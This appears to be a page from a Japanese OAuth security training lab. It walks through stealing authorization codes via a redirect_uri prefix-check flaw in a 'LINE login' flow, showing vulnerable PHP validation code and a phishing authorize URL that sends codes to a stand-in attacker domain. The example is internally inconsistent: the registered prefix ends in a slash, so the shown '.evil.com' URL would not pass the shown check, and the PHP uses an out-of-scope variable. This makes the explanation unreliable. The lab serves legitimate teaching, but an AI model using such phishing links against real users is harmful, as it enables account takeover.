utsuroi oauth labsLab 01 / 5 — Practitioner
01

redirect_uri の prefix 検証ミス — 認可コード窃取

Stealing OAuth authorization codes via redirect_uri bypass

うつろい EC は「LINE で連携」機能を実装。LINE 側の OAuth クライアント登録で redirect_uri に https://shop.utsuroi.example.com/ を登録した。

LINE 側のサーバ実装にバグ:redirect_uri を「許可された値で始まるか」(prefix チェック)でしか検証していない。攻撃者は https://shop.utsuroi.example.com.evil.com/ という URL を redirect_uri に指定して、認可コードを自分のドメインに送らせることができる。

被害者を罠リンクに誘導し、redirect_uri を改ざんして攻撃者ドメインへ認可コードを送らせ、被害者の LINE アカウントになりすましてうつろい EC にログインしてください。

redirect_uri パラメータ

クイック試行:

フロー実行

攻撃者サーバのアクセスログ — attacker.example

(まだ何も受信していません)
脆弱な検証ロジック(LINE 側のサーバ)
// 危険:prefix 一致
function validate_redirect_uri($sent) {
    foreach ($registered_prefixes as $p) {
        if (strpos($sent, $p) === 0) return true;
    }
    return false;
}
// 'https://shop.utsuroi.example.com/' で始まる任意の URL が通る
攻撃の構造
攻撃者が罠リンクを SNS で配布:

https://access.line.me/oauth2/v2.1/authorize?
  client_id=utsuroi_app
  &redirect_uri=https://shop.utsuroi.example.com.evil.com/grab
  &response_type=code
  &state=any

被害者がクリック → LINE で「許可」 → 攻撃者ドメインに認可コード到達 → 攻撃者が被害者として LINE と連携